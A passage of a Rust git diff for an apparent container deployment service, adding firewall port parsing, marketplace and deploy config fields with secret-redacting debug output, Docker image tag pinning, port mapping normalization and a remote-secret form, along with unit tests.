+    fn normalize_public_port_preserves_explicit_protocol() {
+        assert_eq!(normalize_public_port("53/udp").unwrap(), "53/udp");
+        assert_eq!(normalize_public_port("443/tcp").unwrap(), "443/tcp");
+    }
+
+    #[test]
+    fn normalize_public_port_rejects_invalid() {
+        assert!(normalize_public_port("").is_err());
+        assert!(normalize_public_port("0").is_err());
+        assert!(normalize_public_port("65536").is_err());
+        assert!(normalize_public_port("80/icmp").is_err());
+    }
+
+    #[test]
+    fn parse_private_port_requires_source_cidr() {
+        let rule = parse_private_port("5432/tcp:10.0.0.0/8").expect("private port should parse");
+
+        assert_eq!(rule.port, 5432);
+        assert_eq!(rule.protocol, "tcp");
+        assert_eq!(rule.source, "10.0.0.0/8");
+    }
+
+    #[test]
+    fn parse_firewall_port_rejects_invalid_values() {
+        assert!(parse_public_port("0/tcp").is_err());
+        assert!(parse_public_port("65536/tcp").is_err());
+        assert!(parse_public_port("80/icmp").is_err());
+        assert!(parse_private_port("5432/tcp:not-a-cidr").is_err());
+    }
+}
diff --git a/src/forms/mod.rs b/src/forms/mod.rs
index db582e38..38b87d09 100644
--- a/src/forms/mod.rs
+++ b/src/forms/mod.rs
@@ -1,11 +1,17 @@
 pub(crate) mod agreement;
 pub(crate) mod cloud;
+pub mod cloud_firewall;
+pub mod firewall;
 pub mod project;
 pub mod rating;
+pub mod remote_secret;
 pub(crate) mod server;
 pub mod status_panel;
 pub mod user;
 
 pub use cloud::*;
+pub use cloud_firewall::*;
+pub use firewall::*;
+pub use remote_secret::*;
 pub use server::*;
 pub use user::UserForm;
diff --git a/src/forms/project/custom.rs b/src/forms/project/custom.rs
index 38bd6944..dc0193e4 100644
--- a/src/forms/project/custom.rs
+++ b/src/forms/project/custom.rs
@@ -3,6 +3,7 @@ use crate::forms::project::Network;
 use docker_compose_types as dctypes;
 use indexmap::IndexMap;
 use serde::{Deserialize, Serialize};
+use serde_json::Value as JsonValue;
 use serde_valid::Validate;
 
 #[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)]
@@ -27,6 +28,24 @@ pub struct Custom {
     pub project_name: Option<String>,
     pub project_overview: Option<String>,
     pub project_description: Option<String>,
+    pub marketplace_version: Option<String>,
+    pub marketplace_changelog: Option<String>,
+    #[serde(default)]
+    pub marketplace_update_mode_capabilities: JsonValue,
+    #[serde(default)]
+    pub marketplace_config_files: JsonValue,
+    #[serde(default)]
+    pub marketplace_assets: JsonValue,
+    #[serde(default)]
+    pub marketplace_seed_jobs: JsonValue,
+    #[serde(default)]
+    pub marketplace_post_deploy_hooks: JsonValue,
+    #[serde(default)]
+    pub deployment_artifacts: JsonValue,
+    #[serde(default)]
+    pub catalog_application: JsonValue,
+    #[serde(default)]
+    pub install_inputs: JsonValue,
     #[serde(flatten)]
     pub networks: forms::project::ComposeNetworks, // all networks
 }
@@ -112,3 +131,45 @@ impl Custom {
         Ok(named_volumes)
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::Custom;
+    use serde_json::json;
+
+    #[test]
+    fn custom_form_preserves_marketplace_release_fields() {
+        let parsed: Custom = serde_json::from_value(json!({
+            "web": [],
+            "custom_stack_code": "runtime-artifacts",
+            "marketplace_version": "1.2.3",
+            "marketplace_changelog": "Adds managed updates",
+            "marketplace_update_mode_capabilities": {
+                "mode_self_managed": true,
+                "mode_managed_status_panel": true
+            },
+            "deployment_artifacts": {
+                "config_bundle": {
+                    "environment": "production"
+                }
+            }
+        }))
+        .expect("custom form should deserialize");
+
+        let serialized = serde_json::to_value(parsed).expect("custom form should serialize");
+
+        assert_eq!(serialized["marketplace_version"], json!("1.2.3"));
+        assert_eq!(
+            serialized["marketplace_changelog"],
+            json!("Adds managed updates")
+        );
+        assert_eq!(
+            serialized["marketplace_update_mode_capabilities"]["mode_managed_status_panel"],
+            json!(true)
+        );
+        assert_eq!(
+            serialized["deployment_artifacts"]["config_bundle"]["environment"],
+            json!("production")
+        );
+    }
+}
diff --git a/src/forms/project/deploy.rs b/src/forms/project/deploy.rs
index 88c7a712..37f99d05 100644
--- a/src/forms/project/deploy.rs
+++ b/src/forms/project/deploy.rs
@@ -34,13 +34,13 @@ fn validate_cloud_instance_config(deploy: &Deploy) -> Result<(), serde_valid::va
 
     let mut missing = Vec::new();
 
-    if deploy.server.region.as_ref().map_or(true, |s| s.is_empty()) {
+    if deploy.server.region.as_ref().is_none_or(|s| s.is_empty()) {
         missing.push("region");
     }
-    if deploy.server.server.as_ref().map_or(true, |s| s.is_empty()) {
+    if deploy.server.server.as_ref().is_none_or(|s| s.is_empty()) {
         missing.push("server");
     }
-    if deploy.server.os.as_ref().map_or(true, |s| s.is_empty()) {
+    if deploy.server.os.as_ref().is_none_or(|s| s.is_empty()) {
         missing.push("os");
     }
 
@@ -54,7 +54,7 @@ fn validate_cloud_instance_config(deploy: &Deploy) -> Result<(), serde_valid::va
     }
 }
 
-#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)]
+#[derive(Default, Clone, PartialEq, Serialize, Deserialize, Validate)]
 #[validate(custom(validate_cloud_instance_config))]
 pub struct Deploy {
     #[validate]
@@ -66,6 +66,34 @@ pub struct Deploy {
     /// Optional Docker registry credentials for pulling private images.
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub(crate) registry: Option<RegistryForm>,
+    /// Optional selected deploy environment, e.g. development/staging/production.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub(crate) environment: Option<String>,
+    /// Config files uploaded by the CLI. Contents may include secrets and must not be logged.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub(crate) config_files: Option<Value>,
+    /// Safe metadata for Stack Builder artifact/config-file visibility.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub(crate) config_bundle: Option<Value>,
+
+    /// Public ports to open in the cloud provider firewall after deployment.
+    /// Each string is a port number or "port/protocol" (e.g. "8000" or "8000/tcp").
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub(crate) public_ports: Option<Vec<String>>,
+}
+
+impl std::fmt::Debug for Deploy {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("Deploy")
+            .field("stack", &self.stack)
+            .field("server", &self.server)
+            .field("cloud", &self.cloud)
+            .field("registry", &self.registry)
+            .field("environment", &self.environment)
+            .field("config_files", &"[REDACTED]")
+            .field("config_bundle", &self.config_bundle)
+            .finish()
+    }
 }
 
 #[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)]
@@ -79,3 +107,81 @@ pub struct Stack {
     pub subscriptions: Option<Vec<String>>,
     pub form_app: Option<Vec<String>>,
 }
+
+#[cfg(test)]
+mod tests {
+    use super::{validate_cloud_instance_config, Deploy};
+    use crate::forms::{CloudForm, ServerForm};
+
+    /// Build a Deploy with a given cloud provider and optional server instance fields.
+    fn deploy_with(
+        provider: &str,
+        region: Option<&str>,
+        server: Option<&str>,
+        os: Option<&str>,
+    ) -> Deploy {
+        Deploy {
+            cloud: CloudForm {
+                provider: provider.to_string(),
+                ..Default::default()
+            },
+            server: ServerForm {
+                region: region.map(str::to_string),
+                server: server.map(str::to_string),
+                os: os.map(str::to_string),
+                ..Default::default()
+            },
+            ..Default::default()
+        }
+    }
+
+    #[test]
+    fn own_provider_skips_instance_validation() {
+        // "own" server deployments carry no cloud instance config — must pass
+        // even with every instance field empty.
+        let deploy = deploy_with("own", None, None, None);
+        assert!(validate_cloud_instance_config(&deploy).is_ok());
+    }
+
+    #[test]
+    fn cloud_provider_with_all_instance_fields_passes() {
+        let deploy = deploy_with("hetzner", Some("fsn1"), Some("cpx21"), Some("ubuntu-22.04"));
+        assert!(validate_cloud_instance_config(&deploy).is_ok());
+    }
+
+    #[test]
+    fn cloud_provider_missing_all_instance_fields_is_rejected() {
+        let deploy = deploy_with("hetzner", None, None, None);
+        let err = validate_cloud_instance_config(&deploy)
+            .expect_err("cloud deploy without instance config must fail");
+        let msg = err.to_string();
+        assert!(msg.contains("region"), "should list region: {msg}");
+        assert!(msg.contains("server"), "should list server: {msg}");
+        assert!(msg.contains("os"), "should list os: {msg}");
+    }
+
+    #[test]
+    fn cloud_provider_missing_single_field_is_rejected() {
+        // region + server present, os missing → only os is reported.
+        let deploy = deploy_with("digitalocean", Some("nyc1"), Some("s-1vcpu-1gb"), None);
+        let err = validate_cloud_instance_config(&deploy).expect_err("missing os must fail");
+        let msg = err.to_string();
+        assert!(msg.contains("os"), "should list os: {msg}");
+        assert!(
+            !msg.contains("region"),
+            "region is present, must not be listed: {msg}"
+        );
+        assert!(
+            !msg.contains("server,"),
+            "server is present, must not be listed: {msg}"
+        );
+    }
+
+    #[test]
+    fn empty_string_instance_field_counts_as_missing() {
+        // An empty string must be treated the same as None.
+        let deploy = deploy_with("aws", Some(""), Some("t3.micro"), Some("ubuntu"));
+        let err = validate_cloud_instance_config(&deploy).expect_err("empty region must fail");
+        assert!(err.to_string().contains("region"), "{}", err);
+    }
+}
diff --git a/src/forms/project/docker_image.rs b/src/forms/project/docker_image.rs
index 91817074..250e4b78 100644
--- a/src/forms/project/docker_image.rs
+++ b/src/forms/project/docker_image.rs
@@ -19,6 +19,17 @@ pub struct DockerImage {
     #[validate(max_length = 100)]
     pub dockerhub_image: Option<String>,
     pub dockerhub_password: Option<String>,
+    /// Tag portion of the image (e.g. `15-alpine` for `postgres:15-alpine`).
+    ///
+    /// Older callers used to embed the tag directly inside `dockerhub_name`
+    /// (`postgres:15-alpine`). The CLI's `parse_docker_image` splits the tag
+    /// into a separate `dockerhub_tag` field, so this field is required to
+    /// preserve version pinning across the wire — without it the server
+    /// rebuilds the image string from `dockerhub_name` alone and falls back
+    /// to `:latest`, silently unpinning services like `postgres:15-alpine`
+    /// to `postgres:latest`.
+    #[validate(max_length = 128)]
+    pub dockerhub_tag: Option<String>,
 }
 
 impl fmt::Display for DockerImage {
@@ -30,26 +41,40 @@ impl fmt::Display for DockerImage {
         let dh_image = self.dockerhub_image.as_deref().unwrap_or("");
         let dh_nmspc = self.dockerhub_user.as_deref().unwrap_or("");
         let dh_repo_name = self.dockerhub_name.as_deref().unwrap_or("");
+        let dh_tag = self.dockerhub_tag.as_deref().unwrap_or("");
 
-        write!(
-            f,
-            "{}{}{}",
-            if !dh_nmspc.is_empty() {
-                format!("{}/", dh_nmspc)
-            } else {
-                String::new()
-            },
-            if !dh_repo_name.is_empty() {
-                dh_repo_name
-            } else {
-                dh_image
-            },
-            if !dh_repo_name.contains(":") && dh_image.is_empty() {
-                ":latest".to_string()
-            } else {
-                String::new()
-            },
-        )
+        let nmspc = if !dh_nmspc.is_empty() {
+            format!("{}/", dh_nmspc)
+        } else {
+            String::new()
+        };
+
+        let body = if !dh_repo_name.is_empty() {
+            dh_repo_name
+        } else {
+            dh_image
+        };
+
+        // Don't double-add a tag if the body (name or image) already carries
+        // one — covers callers that still inline the tag in
+        // `dockerhub_name` (e.g. `postgres:v8`) or `dockerhub_image`
+        // (e.g. `nginx:latest`).
+        let suffix = if body.contains(':') || body.contains('@') {
+            String::new()
+        } else if !dh_tag.is_empty() {
+            format!(":{}", dh_tag)
+        } else if dh_image.is_empty() {
+            // We only fell into the `:latest` historical default when the
+            // display was synthesized from `dockerhub_name` alone (no image
+            // fallback). Keep that behavior for callers that omit the tag
+            // so we don't change the contract for already-valid `image-only`
+            // entries.
+            ":latest".to_string()
+        } else {
+            String::new()
+        };
+
+        write!(f, "{nmspc}{body}{suffix}")
     }
 }
 
@@ -71,6 +96,7 @@ mod tests {
             dockerhub_name: Some("postgres:v8".to_string()),
             dockerhub_image: None,
             dockerhub_password: None,
+            dockerhub_tag: None,
         };
         assert_eq!(format!("{}", img), "trydirect/postgres:v8");
     }
@@ -82,6 +108,7 @@ mod tests {
             dockerhub_name: None,
             dockerhub_image: Some("nginx:latest".to_string()),
             dockerhub_password: None,
+            dockerhub_tag: None,
         };
         assert_eq!(format!("{}", img), "nginx:latest");
     }
@@ -93,6 +120,7 @@ mod tests {
             dockerhub_name: Some("myapp".to_string()),
             dockerhub_image: None,
             dockerhub_password: None,
+            dockerhub_tag: None,
         };
         assert_eq!(format!("{}", img), "myuser/myapp:latest");
     }
@@ -104,6 +132,7 @@ mod tests {
             dockerhub_name: Some("myapp:v2".to_string()),
             dockerhub_image: None,
             dockerhub_password: None,
+            dockerhub_tag: None,
         };
         assert_eq!(format!("{}", img), "myuser/myapp:v2");
     }
@@ -115,6 +144,7 @@ mod tests {
             dockerhub_name: Some("redis".to_string()),
             dockerhub_image: None,
             dockerhub_password: None,
+            dockerhub_tag: None,
         };
         assert_eq!(format!("{}", img), "redis:latest");
     }
@@ -132,6 +162,7 @@ mod tests {
             dockerhub_name: None,
             dockerhub_image: Some("custom/image:tag".to_string()),
             dockerhub_password: None,
+            dockerhub_tag: None,
         };
         assert_eq!(format!("{}", img), "custom/image:tag");
     }
@@ -143,9 +174,81 @@ mod tests {
             dockerhub_name: Some("app".to_string()),
             dockerhub_image: Some("user/app:1.0".to_string()),
             dockerhub_password: None,
+            dockerhub_tag: None,
         };
         let json = serde_json::to_string(&img).unwrap();
         let deserialized: DockerImage = serde_json::from_str(&json).unwrap();
         assert_eq!(img, deserialized);
     }
+
+    #[test]
+    fn test_display_name_with_detached_tag_preserves_version_pin() {
+        // Mirrors the JSON the CLI emits for `image: postgres:15-alpine`:
+        // dockerhub_name="postgres", dockerhub_tag="15-alpine". Before the
+        // dockerhub_tag field existed, the tag was dropped server-side and
+        // Display rebuilt `postgres:latest`.
+        let img = DockerImage {
+            dockerhub_user: None,
+            dockerhub_name: Some("postgres".to_string()),
+            dockerhub_image: None,
+            dockerhub_password: None,
+            dockerhub_tag: Some("15-alpine".to_string()),
+        };
+        assert_eq!(format!("{}", img), "postgres:15-alpine");
+    }
+
+    #[test]
+    fn test_display_namespaced_image_with_detached_tag() {
+        let img = DockerImage {
+            dockerhub_user: Some("trydirect".to_string()),
+            dockerhub_name: Some("postgres".to_string()),
+            dockerhub_image: None,
+            dockerhub_password: None,
+            dockerhub_tag: Some("15-alpine".to_string()),
+        };
+        assert_eq!(format!("{}", img), "trydirect/postgres:15-alpine");
+    }
+
+    #[test]
+    fn test_display_inline_tag_in_name_takes_precedence_over_detached_tag() {
+        // If a caller inlines the tag in `dockerhub_name`, we must not
+        // append `dockerhub_tag` on top of it (would yield `app:v2:v2`).
+        let img = DockerImage {
+            dockerhub_user: Some("myuser".to_string()),
+            dockerhub_name: Some("myapp:v2".to_string()),
+            dockerhub_image: None,
+            dockerhub_password: None,
+            dockerhub_tag: Some("v2".to_string()),
+        };
+        assert_eq!(format!("{}", img), "myuser/myapp:v2");
+    }
+
+    #[test]
+    fn test_display_detached_tag_applied_after_image_only_body_without_tag() {
+        let img = DockerImage {
+            dockerhub_user: None,
+            dockerhub_name: None,
+            dockerhub_image: Some("nginx".to_string()),
+            dockerhub_password: None,
+            dockerhub_tag: Some("1.27".to_string()),
+        };
+        assert_eq!(format!("{}", img), "nginx:1.27");
+    }
+
+    #[test]
+    fn test_deserialize_captures_dockerhub_tag_field() {
+        // Confirms the JSON object the CLI sends (`dockerhub_tag` next to
+        // `dockerhub_name` / `dockerhub_user`) round-trips into the struct,
+        // which is what the App `#[serde(flatten)]` relies on server-side.
+        let json = r#"{
+            "dockerhub_user": null,
+            "dockerhub_name": "postgres",
+            "dockerhub_image": null,
+            "dockerhub_password": null,
+            "dockerhub_tag": "15-alpine"
+        }"#;
+        let img: DockerImage = serde_json::from_str(json).unwrap();
+        assert_eq!(img.dockerhub_tag.as_deref(), Some("15-alpine"));
+        assert_eq!(format!("{}", img), "postgres:15-alpine");
+    }
 }
diff --git a/src/forms/project/payload.rs b/src/forms/project/payload.rs
index 1a31c7f2..bb864344 100644
--- a/src/forms/project/payload.rs
+++ b/src/forms/project/payload.rs
@@ -1,10 +1,11 @@
 use crate::forms;
 use crate::models;
 use serde::{Deserialize, Serialize};
+use serde_json::Value;
 use serde_valid::Validate;
 use std::convert::TryFrom;
 
-#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)]
+#[derive(Default, Clone, PartialEq, Serialize, Deserialize, Validate)]
 #[serde(rename_all = "snake_case")]
 pub struct Payload {
     pub(crate) id: Option<i32>,
@@ -12,6 +13,12 @@ pub struct Payload {
     pub(crate) deployment_hash: Option<String>,
     pub(crate) user_token: Option<String>,
     pub(crate) user_email: Option<String>,
+    #[serde(
+        default,
+        rename = "commonDomain",
+        skip_serializing_if = "Option::is_none"
+    )]
+    pub(crate) common_domain: Option<String>,
     #[serde(flatten)]
     pub cloud: Option<forms::CloudForm>,
     #[serde(flatten)]
@@ -23,6 +30,40 @@ pub struct Payload {
     /// Docker registry credentials for pulling private images on the target server.
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub registry: Option<forms::project::RegistryForm>,
+    /// Optional selected deploy environment, e.g. development/staging/production.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub environment: Option<String>,
+    /// Deploy-time config files uploaded by the CLI. Contents may include secrets.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub config_files: Option<Value>,
+    /// Safe metadata for the deploy-time config bundle.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub config_bundle: Option<Value>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub runtime_artifact_bundle: Option<serde_json::Value>,
+}
+
+impl std::fmt::Debug for Payload {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("Payload")
+            .field("id", &self.id)
+            .field("project_id", &self.project_id)
+            .field("deployment_hash", &self.deployment_hash)
+            .field("user_token", &self.user_token)
+            .field("user_email", &self.user_email)
+            .field("commonDomain", &self.common_domain)
+            .field("cloud", &self.cloud)
+            .field("server", &self.server)
+            .field("stack", &self.stack)
+            .field("custom", &"[REDACTED]")
+            .field("docker_compose", &"[REDACTED]")
+            .field("registry", &self.registry)
+            .field("environment", &self.environment)
+            .field("config_files", &"[REDACTED]")
+            .field("config_bundle", &self.config_bundle)
+            .field("runtime_artifact_bundle", &"[REDACTED]")
+            .finish()
+    }
 }
 
 impl TryFrom<&models::Project> for Payload {
@@ -37,3 +78,107 @@ impl TryFrom<&models::Project> for Payload {
         Ok(project_data)
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::Payload;
+    use crate::models;
+    use serde_json::json;
+
+    #[test]
+    fn payload_try_from_preserves_runtime_artifact_fields() {
+        let project = models::Project::new(
+            "user-1".to_string(),
+            "runtime-artifacts".to_string(),
+            json!({
+                "stack": {
+                    "stack_code": "runtime-artifacts"
+                },
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "runtime-artifacts",
+                    "marketplace_config_files": [
+                        {"path": "config/app.env", "content": "APP_ENV=prod"}
+                    ],
+                    "marketplace_assets": [
+                        {"filename": "runtime-bundle.tgz", "key": "templates/1/runtime-bundle.tgz", "sha256": "abc123", "size": 12, "content_type": "application/gzip", "decompress": true}
+                    ],
+                    "marketplace_seed_jobs": [
+                        {"name": "seed-admin"}
+                    ],
+                    "marketplace_post_deploy_hooks": [
+                        {"name": "notify"}
+                    ],
+                    "deployment_artifacts": {
+                        "config_bundle": {
+                            "remote_compose_path": ".stacker/deploy/production/docker-compose.remote.yml"
+                        }
+                    }
+                },
+                "environment": "production",
+                "config_files": [
+                    {
+                        "name": "docker-compose.yml",
+                        "content": "services:\n  app:\n    image: example/app:1.0.0\n"
+                    }
+                ],
+                "config_bundle": {
+                    "manifest": {
+                        "environment": "production",
+                        "config_files": [
+                            {
+                                "destination_path": "/opt/app/.env"
+                            }
+                        ]
+                    }
+                },
+                "runtime_artifact_bundle": {
+                    "filename": "runtime-bundle.tgz",
+                    "download_url": "https://objects.trydirect.test/runtime-bundle.tgz",
+                    "seed_jobs_execution": "deferred",
+                    "post_deploy_execution": "deferred"
+                }
+            }),
+            json!({}),
+        );
+
+        let payload = Payload::try_from(&project).expect("payload should deserialize");
+        let custom = serde_json::to_value(&payload.custom).expect("serialize custom");
+
+        assert_eq!(
+            custom["marketplace_config_files"][0]["path"],
+            json!("config/app.env")
+        );
+        assert_eq!(
+            custom["marketplace_assets"][0]["filename"],
+            json!("runtime-bundle.tgz")
+        );
+        assert_eq!(
+            custom["marketplace_seed_jobs"][0]["name"],
+            json!("seed-admin")
+        );
+        assert_eq!(
+            custom["marketplace_post_deploy_hooks"][0]["name"],
+            json!("notify")
+        );
+        assert_eq!(
+            custom["deployment_artifacts"]["config_bundle"]["remote_compose_path"],
+            json!(".stacker/deploy/production/docker-compose.remote.yml")
+        );
+        assert_eq!(
+            payload
+                .runtime_artifact_bundle
+                .expect("runtime bundle should exist")["download_url"],
+            json!("https://objects.trydirect.test/runtime-bundle.tgz")
+        );
+        assert_eq!(payload.environment, Some("production".to_string()));
+        assert_eq!(
+            payload.config_files.expect("config files should exist")[0]["name"],
+            json!("docker-compose.yml")
+        );
+        assert_eq!(
+            payload.config_bundle.expect("config bundle should exist")["manifest"]["environment"],
+            json!("production")
+        );
+    }
+}
diff --git a/src/forms/project/port.rs b/src/forms/project/port.rs
index 27cbe30d..5078e2f9 100644
--- a/src/forms/project/port.rs
+++ b/src/forms/project/port.rs
@@ -50,13 +50,14 @@ fn validate_non_empty(v: &Option<String>) -> Result<(), serde_valid::validation:
 impl TryInto<dctypes::Port> for &Port {
     type Error = String;
     fn try_into(self) -> Result<dctypes::Port, Self::Error> {
-        let cp = self
+        let normalized = normalize_port_mapping(self);
+
+        let cp = normalized
             .container_port
-            .clone()
             .parse::<u16>()
             .map_err(|_err| "Could not parse container port".to_string())?;
 
-        let hp = match self.host_port.clone() {
+        let hp = match normalized.host_port {
             Some(hp) => {
                 if hp.is_empty() {
                     None
@@ -77,14 +78,52 @@ impl TryInto<dctypes::Port> for &Port {
 
         Ok(dctypes::Port {
             target: cp,
-            host_ip: None,
+            host_ip: normalized.host_ip,
             published: hp,
-            protocol: None,
+            protocol: self.protocol.clone(),
             mode: None,
         })
     }
 }
 
+struct NormalizedPortMapping {
+    host_ip: Option<String>,
+    host_port: Option<String>,
+    container_port: String,
+}
+
+fn normalize_port_mapping(port: &Port) -> NormalizedPortMapping {
+    let container_no_proto = port
+        .container_port
+        .split('/')
+        .next()
+        .unwrap_or(port.container_port.as_str());
+
+    if let Some((host_part, container_port)) = container_no_proto.rsplit_once(':') {
+        let (host_ip, host_port) = match host_part.rsplit_once(':') {
+            Some((ip, published)) => (Some(ip.to_string()), Some(published.to_string())),
+            None => match port.host_port.as_deref() {
+                Some(host) if host.parse::<u16>().is_err() => {
+                    (Some(host.to_string()), Some(host_part.to_string()))
+                }
+                _ => (None, Some(host_part.to_string())),
+            },
+        };
+
+        return NormalizedPortMapping {
+            host_ip,
+            host_port,
+            container_port: container_port.to_string(),
+        };
+    }
+
+    NormalizedPortMapping {
+        host_ip: None,
+        host_port: port.host_port.clone(),
+        container_port: container_no_proto.to_string(),
+    }
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -126,6 +165,47 @@ mod tests {
         assert_eq!(dc_port.target, 80);
     }
 
+    #[test]
+    fn test_port_try_into_accepts_host_ip_mapping_in_container_port() {
+        let port = Port {
+            host_port: Some("127.0.0.1".to_string()),
+            container_port: "1025:25".to_string(),
+            protocol: Some("tcp".to_string()),
+        };
+
+        let result: Result<dctypes::Port, String> = (&port).try_into();
+
+        assert!(result.is_ok());
+        let dc_port = result.unwrap();
+        assert_eq!(dc_port.target, 25);
+        assert_eq!(dc_port.host_ip.as_deref(), Some("127.0.0.1"));
+        assert_eq!(
+            dc_port.published,
+            Some(dctypes::PublishedPort::Single(1025))
+        );
+        assert_eq!(dc_port.protocol.as_deref(), Some("tcp"));
+    }
+
+    #[test]
+    fn test_port_try_into_accepts_full_compose_mapping_in_container_port() {
+        let port = Port {
+            host_port: None,
+            container_port: "127.0.0.1:1025:25/tcp".to_string(),
+            protocol: None,
+        };
+
+        let result: Result<dctypes::Port, String> = (&port).try_into();
+
+        assert!(result.is_ok());
+        let dc_port = result.unwrap();
+        assert_eq!(dc_port.target, 25);
+        assert_eq!(dc_port.host_ip.as_deref(), Some("127.0.0.1"));
+        assert_eq!(
+            dc_port.published,
+            Some(dctypes::PublishedPort::Single(1025))
+        );
+    }
+
     #[test]
     fn test_port_try_into_no_host_port() {
         let port = Port {
diff --git a/src/forms/project/var.rs b/src/forms/project/var.rs
index f959b10a..e681b3ae 100644
--- a/src/forms/project/var.rs
+++ b/src/forms/project/var.rs
@@ -1,5 +1,33 @@
 use serde::{Deserialize, Serialize};
+use serde_json::Value;
 
 #[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
-pub struct Var {}
+pub struct Var {
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub key: Option<String>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub value: Option<Value>,
+}
+
+#[cfg(test)]
+mod tests {
+    use super::Var;
+    use serde_json::json;
+
+    #[test]
+    fn preserves_key_value_entries() {
+        let parsed: Var = serde_json::from_value(json!({
+            "key": "status_panel_only",
+            "value": "true"
+        }))
+        .expect("var should deserialize");
+
+        assert_eq!(parsed.key.as_deref(), Some("status_panel_only"));
+        assert_eq!(parsed.value, Some(json!("true")));
+
+        let serialized = serde_json::to_value(parsed).expect("var should serialize");
+        assert_eq!(serialized["key"], json!("status_panel_only"));
+        assert_eq!(serialized["value"], json!("true"));
+    }
+}
diff --git a/src/forms/project/volume.rs b/src/forms/project/volume.rs
index cc684efe..28990304 100644
--- a/src/forms/project/volume.rs
+++ b/src/forms/project/volume.rs
@@ -88,7 +88,10 @@ impl Volume {
             };
         }
 
-        tracing::debug!("Bind mount volume '{}' — adding driver_opts with base dir", host_path);
+        tracing::debug!(
+            "Bind mount volume '{}' — adding driver_opts with base dir",
+            host_path
+        );
 
         let default_base =
             std::env::var("DEFAULT_DEPLOY_DIR").unwrap_or_else(|_| "/home/trydirect".to_string());
@@ -106,9 +109,7 @@ impl Volume {
         );
 
         // Normalize to avoid duplicate slashes in bind-mount device paths.
-        let normalized_host = host_path
-            .trim_start_matches("./")
-            .trim_start_matches('/');
+        let normalized_host = host_path.trim_start_matches("./").trim_start_matches('/');
         let path = format!("{}/{}", base.trim_end_matches('/'), normalized_host);
         driver_opts.insert(
             String::from("device"),
@@ -152,14 +153,16 @@ mod tests {
         };
 
         let compose = volume.to_compose_volume(Some("/srv/trydirect"));
-        let device = compose
-            .driver_opts
-            .get("device")
-            .and_then(|v| v.as_ref());
+        let device = compose.driver_opts.get("device").and_then(|v| v.as_ref());
 
         assert_eq!(compose.driver.as_deref(), Some("local"));
         assert_eq!(compose.name.as_deref(), Some("projects/app"));
-        assert_eq!(device, Some(&SingleValue::String("/srv/trydirect/projects/app".to_string())));
+        assert_eq!(
+            device,
+            Some(&SingleValue::String(
+                "/srv/trydirect/projects/app".to_string()
+            ))
+        );
     }
 
     #[test]
@@ -170,14 +173,14 @@ mod tests {
         };
 
         let compose = volume.to_compose_volume(Some("/srv/trydirect"));
-        let device = compose
-            .driver_opts
-            .get("device")
-            .and_then(|v| v.as_ref());
+        let device = compose.driver_opts.get("device").and_then(|v| v.as_ref());
 
         assert!(!volume.is_named_docker_volume());
         assert_eq!(compose.driver.as_deref(), Some("local"));
-        assert_eq!(device, Some(&SingleValue::String("/srv/trydirect/data".to_string())));
+        assert_eq!(
+            device,
+            Some(&SingleValue::String("/srv/trydirect/data".to_string()))
+        );
     }
 
     #[test]
@@ -188,14 +191,14 @@ mod tests {
         };
 
         let compose = volume.to_compose_volume(Some("/srv/trydirect"));
-        let device = compose
-            .driver_opts
-            .get("device")
-            .and_then(|v| v.as_ref());
+        let device = compose.driver_opts.get("device").and_then(|v| v.as_ref());
 
         assert!(!volume.is_named_docker_volume());
         assert_eq!(compose.driver.as_deref(), Some("local"));
-        assert_eq!(device, Some(&SingleValue::String("/srv/trydirect/data".to_string())));
+        assert_eq!(
+            device,
+            Some(&SingleValue::String("/srv/trydirect/data".to_string()))
+        );
     }
 
     #[test]
diff --git a/src/forms/remote_secret.rs b/src/forms/remote_secret.rs
new file mode 100644
index 00000000..cc6edd2a
--- /dev/null
+++ b/src/forms/remote_secret.rs
@@ -0,0 +1,76 @@
+use crate::models::RemoteSecret;
+use serde::{Deserialize, Serialize};
+use serde_valid::Validate;
+
+#[derive(Clone, Deserialize, Validate)]
+pub struct UpsertRemoteSecretRequest {
+    #[validate(min_length = 1)]
+    pub value: String,
+}
+
+impl std::fmt::Debug for UpsertRemoteSecretRequest {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("UpsertRemoteSecretRequest")
+            .field("value", &"[REDACTED]")
+            .finish()
+    }
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct RemoteSecretMetadataResponse {
+    pub id: i32,
+    pub scope: String,
+    pub name: String,
+    pub secure: bool,
+    pub project_id: Option<i32>,
+    pub app_code: Option<String>,
+    pub server_id: Option<i32>,
+    pub updated_at: String,
+    pub updated_by: String,
+    pub source: String,
+}
+
+impl From<RemoteSecret> for RemoteSecretMetadataResponse {
+    fn from(value: RemoteSecret) -> Self {
+        Self {
+            id: value.id,
+            scope: value.scope,
+            name: value.name,
+            secure: true,
+            project_id: value.project_id,
+            app_code: value.app_code,
+            server_id: value.server_id,
+            updated_at: value.updated_at.to_rfc3339(),
+            updated_by: value.updated_by,
+            source: "vault".to_string(),
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::RemoteSecretMetadataResponse;
+    use crate::models::RemoteSecret;
+    use chrono::Utc;
+
+    #[test]
+    fn remote_secret_metadata_is_marked_secure() {
